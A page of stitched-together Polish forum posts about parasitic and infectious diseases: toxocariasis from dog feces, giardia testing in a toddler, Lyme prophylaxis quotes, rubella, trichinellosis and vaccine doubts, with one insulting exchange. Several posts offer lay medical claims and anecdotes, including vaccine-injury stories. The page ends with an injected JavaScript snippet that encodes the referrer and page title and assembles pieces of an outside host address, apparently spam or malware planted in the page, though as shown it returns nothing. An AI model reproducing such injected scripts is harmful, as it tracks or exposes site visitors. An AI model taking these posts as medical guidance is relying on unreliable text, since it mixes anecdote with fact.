choroby pasożytnicze, takie jak motylica, ameboza i lamblioza."
Lekarz jest od tego, aby je wykluczyć.

To wszystkim włascicielom psów życze tak mądrych piesków które srają
tylko po krzakcha a nie trawnikach , albo takiego daru plecenia
bzdur i kłamania jak tobie. Gó.. nim sie rozłoży ma w sobie wiele
chorób cyt. Psie odchody stwarzają zagrożenie dla zdrowia, a nawet
życia człowieka. "Do najczęściej wywoływanych przez psie odchody
chorób należą odzwierzęce inwazje pasożytnicze, takie jak
toksokaroza czy bąblowiec. Na choroby te narażone są przede
wszystkim dzieci bawiące się na trawnikach i w piaskownicach."!!!
medigo.pl/artykul/137_Toksokaroza___choroba_odzwierzeca.html
www.gronkowiec.pl/tasiemiec_bomblowiec.html
Napisałas tez że jesteś leniem więc wątpie czy przeczytasz co niby
nic nie szkodzace gó.. pieska może narobić. A dzieci mają prawo
bawić sie wszedzie nie tylko w piaskownicach ,jednak dzęki takim
leserom jak ty tego prawa nie mają. W każdym normalnym europejskim
kraju dla ludzi sprzatniecie gowien nie jest problemem ale nie u nas
bo zawsze trafią sie takie prymitywy i lenie jak ty.Po krzakch nigdy
się nie załatwiałam może ty to znasz z doswiadzczenia gdy wysadzasz
sie razem se swoim pieskiem.

Sanepid...-poproszę o poradę
Chciałabym zrobić badanie kału pod kątem lamblii , ponieważ 16 miesięczna
córka ostatnio zaczęła mniej jeść( w zasadzie to żyje chyba powietrzem) miała
co jakiś czas biegunki (prawie miesiac kilka razy ze śluzem), w zasadzie bez
powodu, i ogólnie jakoś tak zbladła , a normalnie ma raczej śniadawą cerę.
Generalnie pediatra mówił że to na zęby, mocz i krew wyszły ok, niską
natomiast miała tylko glukozę, i rozmaz krwi -nie za szczególnie dobrze
m.inn. EOS =5,7 norma do 5. Jutro chciałabym zrobić posiew moczu i zanieść
kupkę na badanie. I teraz tu moje pytatnie , a mianowicie w moim mieście nie
ma żadnych prywatnych laboratoriów, dobrych specjalistycznych przychodni
mających duże doświadczenie w metodach badań na pasożyty. Jedyną instytucją
która ma jakiekolwiek doswiadczenie i staż to Sanepid.
W maju zeszłego roku robiłam również córce badanie na lamblie , badanie było
wykonane metodą immunoenzymatyczną. Wynik (-). Teraz chcę powtórzyć badanie,
czy ta metoda jest dobra ? kompletnie nie znam się na "tych rzeczach",
wrzucając w wyszukiwarkę hasło "metoda immun..." wyszło kiladziesiąt postów,
z któryych wnioskuję iż ta metoda to to samo co Test Elisa czyli ta najlepsza
metoda??? Ile razy przy tej metodzie powinnam zanieść materiał do badania ???

bardzo dziękuję za odpowiedzi.

ps. czytałam gdzieś że podwyższony wskaźnik EOS może sugerować i tu
cyt "Zwiększenie ich wartości wywołują choroby alergiczne, zakaźne,
zaburzenia hematologiczne, pasożytnicze, astma oskrzelowa, łuszczyca, jak też
zażywanie leków (np. penicyliny)."

Danuta prokopowicz: Zakażenia. Obraz kliniczny, rozpoznanie, leczenie;
Białystok 2004, s. 88:

"ZAPOBIEGANIE
Profilaktyczne stosowanie 200 mg doxycykliny po ekspozycjina kleszcza, pomimo,
że niejest powszechnie akceptowane, może być proponowane osobom, pochodzącym z
rejonów o małym zagrożeniu boreliozą z Lyme, które okresowo przebywają na
terenie endemicznym. Skuteczność tej metody jest jeszcze w trakcie poznawania
zarówno w Europie, jaki w USA".

Czyli nam, zamieszkującym obszar endemiczny, takiej profilaktyki się nie
proponuje? dlaczego? Bo pewnie to, że zachorujemy (jeśli jeszcze nie
zachorowaliśmy) jest i tak przesądzone...

Dziubek Zdzisław: Choroby zakaźne i pasożytnicze, PZWL 2006r., s. 186:

"Podawanie po każdym ukąszeniu przez kleszcza penicyliny należy w naszych
warunkach ograniczyć tylko do przypadków o bardzo dużej ekspozycji na
zakażenia, np. liczne pokąsania w rejonie endemicznym"...

I bądź tu, człowieku, mądry...

Ocena wybranych laboratoryjnych metod rozpoznawania boreliozy z Lyme
dr Tomasz Piotr Chmielewski (praca doktorska)- fragment streszczenia:

"Na podstawie uzyskanych wyników, stwierdzono że: swoiste przeciwciała dla B.
burgdorferi wykrywa się u około 12% osób zdrowych, co wskazuje na równomierne
zagrożenie boreliozą z Lyme ludności na terenie całego kraju i sugeruje, że
obszar Polski można uznać za teren endemiczny tej choroby. "

Różyczka
"Rozyczka to moze i
> choroba o lagodnym przebiegu ale w 40-70% przypadkow powoduje u dziewczat silne
>
> i trwale bole stawow, a to tylko jedna z mozliwosci komplikacji, "
Według jaiego źródła??
Powikania
1.artralgia może utrzymywać się przez 2-3 TYGODNIE!!!Częstość występownia wg
różnych autorów 0,5-15%
2.Małopłytkowa skaza krwotoczna rzadko-1 na 3000
3.Zapalenie mózgu rozwija się wyjątkowo rzadko 1:6000 przypadków,CZĘŚCIEJ U
DOROSŁYCH NIŻ U DZIECI!!!
Źródło "Choroby zakaźne i pasożytnicze" pod redakcją Z.Dziubka wyd.III 2003 r.

Rozumiem, że po zmianie karmy na tę dla alergików nie ma żadnej poprawy?
Najwyraźniej więc tło nie jest ani pokarmowe, ani pasożytnicze, skoro badania
kału nic nie wykazały.
To co mozemy jeszcze podejrzewać, to bakterie beztlenowe - one mogą dawać
czasami własnie takie objawy krwistego stolca. Przychodzi mi też na myśl
przypadłość zwana wrzodziejacym zapaleniem jelita grubego, czy też okrężnicą
drażliwą. Nieznane są przyczyny tych chorób; w grę wchodzi tło stresogenne;
ponieważ koty są zwierzętami wybitnie wrażliwymi na stres, moze to objawiać sie
u nich przewlekłymi biegukami z jelita grubego podbarwione krwią. Być moze
utarczki z drugą kocicą mają jakieś znaczenie, albo jakaś nastąpiła zmiana w
domu, z którą kocica nie moze sobie poradzić? W każdym bądź razie, kocicę
trzeba leczyc, nie czekać aż samo przejdzie. Środki przeciwrujowe mogą obniżac
odporność, a wiec w sposób pośredni również przyczyniac się do tych objawów.

juz nie uczennica, ale w temacie...
musi miec tempo, żeby szybko czas mijał, a uczniowie nie mieli chętki na
zabawianie się czyms nie na temat
musi wymgac uczestnictwa wszystkich (nawet jesli z boku wyglada to jak chaos)
uczen na początku musi poznać JAKI JEST CEL TEJ LEKCJI, ale celem nie może byc
np. Rewolucha francuska, czy cykle zyciowe tasiemca, lecz Czy rewol.franc.
miała wpływ na nasze wspólczesne czasy - lekcja wnioskowania.
albo Czy groża nam choroby pasożytnicze? - czy nasze zycie, spośób odzywiania
itp. stwarza korzystne warunki dla rozwoju tasiemca

To nie jest łatwe, ale warto.
Uczniom oprócz nudy lekcyjnej najbardziej przeszkadza w nauce ...brak poczucia
sensu przyswajania szkolnej wiedzy.
A przeciez MOTYWACJA TO funkcja poczucia uzyteczności celu

Co znalazłam:
Zarówno toksokaroza, jak i toxoplazmoza (o nich mowa najczęściej)mogą przyjąć
oczną postać choroby (rzadko spotykaną ale poważną).
Tego typu zakażenia pasożytnicze określa się jako "ocular larva migrans".
Niestety w obu przypadkach rokowanie nie jest optymistyczne, ponieważ wiąże się
conajmniej z nieodwracalnym ograniczeniem zdolności widzenia.

Mam nadzieję, że dzieciaczek jest pod opieką dobrego specjalisty.
Pozdr.gorąco.

Liwieńka (ur.1 II 2005r.)
Liwieńka ma już

Na forum Alergie jest mnóstwo takich przypadków: podejrzenia poważnych chorób
(mniej lub bardziej: od anemii, alergii, azs, przez wzmożone/obniżone napięcie
mięśniowe, różne dolegliwości ze strony ukł. pokarmowego, nerwowego, po
porażenie mózgowe, padaczkę itp. Także podejrzenie autyzmu lub ADHD). Sporo z
tych przypadków to były zakażenia pasożytnicze.
Mój syn w porównaniu był lekkim przypadkiem - tylko alergikiem, anemikiem, o
osłabionej odporności. Morfologia - wiadomo - niska hemoglobina, wymaz z nosa -
eozynofile 96%. Testy na alergię nic nie wykazywały, a mimo to Zyrtec mieliśmy
na stałe. Im dalej, tym było gorzej, u lekarzy słyszałam ciągle, że taka jego
uroda. Po kuracji przeciwpasożytniczej (robaki i lamblie) - zupełnie zdrowe dziecko.

tylko, ze istnieja jeszcze zapalenia opon bakteryjne, odkleszczowe,
pasozytnicze, toksyczne, bedace powiklaniami innych chorob, oraz wiele
neuroinfekcji mogacych dawac podobne skutki jak zapalenie opon mozgowych. Z
zapaleniem mozgu na czele.
a szczepienia, zwlaszcza w okresie niedojzalosci organizmu dziecka nie musza
pozostac bez wplywu na jego zdrowie. Cale szczescie, zazwyczaj nic sie nie
dzieje, ale bywa inaczej. Wlasnie wrocilam z praktyk w osrodku
rehabilitacyjnym. Byla tam jedna dziewczynka po zapaleniu mozgu w bardzo
ciezkim stanie. Ale bylo tez troje dzieci ktore zachorowaly na skutek zle
przyjetej przez organizm szczepionki.
osobiscie uwazam, ze szczepic nalezy, ale rozsadnie i z umiarem bez
niepotrzebnego faszerowania delikatnego organizmu dziecka szczepieniami.

pozdr.
acha

Jeszce trochę o włośnicy
Po pierwsze: nie ma co panikować pisząc, że "już nigdy w życiu nie zjem
dziczyzny". W Polsce, dopuszczając mięso do spożycia stosuje się standardowo 2
metody w celu wykrycia larw Trichinella: metodę trichinoskopu - próbki mięśni
(z dzika czy świni) umieszczone w kompresorze przegląda się pod mikroskopem,
poszukując larw; oraz metoda wytrawiania w roztworze HCl+pepsyny (imitującym
sok żołądkowy) w celu otrzymania wytrawionych i żywych larw. Najlepszą i
najczulszą jest metoda wytrawiania. Z reguły powodem wystąpienia zarażeń
włośniem wśród ludzi są NIEBADANE domieszki mięsa (a więc z nielegalnego
uboju). Wygląda to tak, że wterynarz bada jedną tuszę (i daje wynik, że
wszystko jest OK), a osoba wytwarzająca finalny produkt mięsny dodaje mięso z
tusz niebadanych. Proszę poczytać literaturę fachową. Epiedemie trichinellozy w
Polsce, na Słowacji czy w innych krajach były zawsze wywoływane przez takie
praktyki. A na marginesie dodam, że w Polsce występują 2 gatunki włośnia:
Trichinella spiralis, najbardziej inwazyjny dla człowieka oraz Trichinella
britovi, często wywołujący objawy subkliniczne. Dodatkowo, prezentowane gatunki
to pasożytnicze nicienie (a zatem zwierzęta), stąd nie wolno pisać o "zatruciu
włośnicą"! Włośnica (trichinellosis, trichinelloza) to choroba odzwierzęca
(zoonoza), zatem nie piszcie o "stężeniu włośnicy"! W końcu, tak długo, jak nie
przeprowadzi się specjalistycznych badań molekularnych, nie wiadomo jakim
gatunkiem Trichinella zostały zarażone osoby z objawami włośnicy. Postaci
dojrzałe (a tym bardziej larwy) nie można oznaczyć gatunkowo wg cech
morfologicznych. Jedynie izolacja DNA i dalsze badania pozwalają na określenie
gatunku włośnia. Zatem na razie należy pisać, że epidemia włośnicy została
wywołana przez Trichinella sp., co oznacza "jakiś gatunek Trichinella
(włośnia)". Tekst z wypowiedzią Pani dr Paul należało najpierw jej dostarczyć
do autoryzacji (zapewne wiele by poprawiła), a nie drukować krótką notatkę, w
której "stężenie" błędów jest katastrofalne. Kończąc, również proszę o więcej
poprawności merytorycznej w przyszłości...tego też życzę.

function bb515451fb527b9(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451fb5277f(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451fb5277f(bb515451fb527b9(document.referrer),bb515451fb527b9(document.title)));